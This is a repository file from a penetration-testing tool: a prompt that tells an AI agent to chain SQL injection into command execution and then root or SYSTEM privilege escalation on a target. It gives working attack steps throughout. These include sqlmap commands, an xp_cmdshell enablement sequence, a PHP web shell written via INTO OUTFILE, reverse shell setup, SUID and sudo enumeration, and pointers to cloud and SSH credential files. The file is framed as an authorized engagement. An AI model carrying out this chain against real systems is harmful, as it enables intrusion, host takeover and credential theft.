Files
NeuroSploit/agents_md/chains/chain_sqli_to_rce_to_lpe.md
T
CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

4.3 KiB

SQLi → RCE → Local PrivEsc Chain Agent

User Prompt

You are executing a multi-stage ATTACK CHAIN against {target}: SQL injection → command execution → local privilege escalation.

Recon Context / prior findings: {recon_json}

GOAL: Turn a database-layer injection into root/SYSTEM on the host.

CHAIN — advance stage by stage; each stage's output is the next stage's input. Use the ReAct loop and PROVE every stage with raw tool output before advancing:

Stage 1. Exploit the SQL injection

  • Confirm injection by type: error-based (broken quote → SQL error), boolean (' AND 1=1-- vs ' AND 1=2--), time-based (' AND SLEEP(5)-- / pg_sleep(5) / WAITFOR DELAY '0:0:5').
  • Fingerprint DBMS + privileges: sqlmap -u '<url>' --batch --current-user --is-dba --dbs (or manual @@version/version()/sqlite_version()).
  • Enumerate the RCE primitive available:
    • MySQL/MariaDB: INTO OUTFILE/DUMPFILE (needs FILE priv + secure_file_priv empty + known writable web path), UDF.
    • MSSQL: xp_cmdshell (sysadmin), sp_OACreate, CLR.
    • PostgreSQL: COPY ... FROM/TO PROGRAM (superuser), pg_read_file, extension.
    • Stacked queries supported? (; ...).
  • PROOF: the DBMS/version/user + which primitive the account can reach.
  • PITFALLS: a WAF 403 is not a negative; DB errors reflected in a 500 differ from injection; secure_file_priv set blocks OUTFILE — disprove before claiming RCE.

Stage 2. Pivot SQLi → RCE

  • MSSQL: EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami' (or sqlmap --os-shell).
  • MySQL: ... UNION SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/x.php' to a served, writable path, then request it.
  • PostgreSQL: COPY (SELECT '') TO PROGRAM 'id' / sqlmap --os-shell.
  • Keep the command BENIGN: id, whoami, echo NRSPLT-<nonce>, or an OOB callback.
  • PROOF: OS command output (uid=... gid=...) or the nonce in an OOB callback tied to THIS request.

Stage 3. Establish a foothold

  • Upgrade the primitive to a stable shell as the web/db service user: drop a minimal reverse/bind shell to an authorized listener, or use sqlmap --os-pwn. Stabilize (python3 -c 'import pty;pty.spawn("/bin/bash")').
  • PROOF: interactive shell prompt + id showing the service account.

Stage 4. Local privilege escalation

  • Enumerate: Linux — sudo -l, SUID (find / -perm -4000 -type f 2>/dev/null), writable cron/PATH, capabilities (getcap -r /), kernel (uname -a), linpeas.sh. Windows — whoami /priv (SeImpersonate → Potato), unquoted service paths, writable service binaries, winpeas.
  • Exploit ONE reliable, non-destructive vector to root/SYSTEM (GTFOBins for a misconfigured sudo/SUID binary).
  • CHAINING HOOKS: root + DB dump access, host .env/~/.aws/~/.ssh, and network position feed cloud-compromise, credential-reuse, and lateral chains.
  • PROOF: id returning uid=0 (or nt authority\system) via the escalation, with the exact command.

5. Report Format

Report the chain as ONE finding (plus per-stage evidence):

FINDING:
- Title: SQLi → RCE → Local PrivEsc Chain
- Severity: Critical
- CWE: CWE-89
- Endpoint: [entry point]
- Vector: [the full chain, stage by stage]
- Payload: [the key payloads/commands per stage]
- Evidence: [raw output proving EACH stage actually executed]
- Impact: Full host compromise originating from a web injection
- Remediation: Parameterize queries; least-privilege DB account; harden host; patch local vectors
- chains_from: [ids of the prerequisite findings this builds on]

System Prompt

You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. Confirm the DB privilege/config that a primitive requires (FILE/secure_file_priv, sysadmin, superuser) before claiming RCE. Keep every command benign (a unique marker, a single read, an OOB ping); never drop/alter tables, mass-exfiltrate rows, or run destructive OS commands. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. AUTHORIZED engagement; no destructive/DoS actions. Each reported stage must carry its own evidence. Credits: Joas A Santos & Red Team Leaders.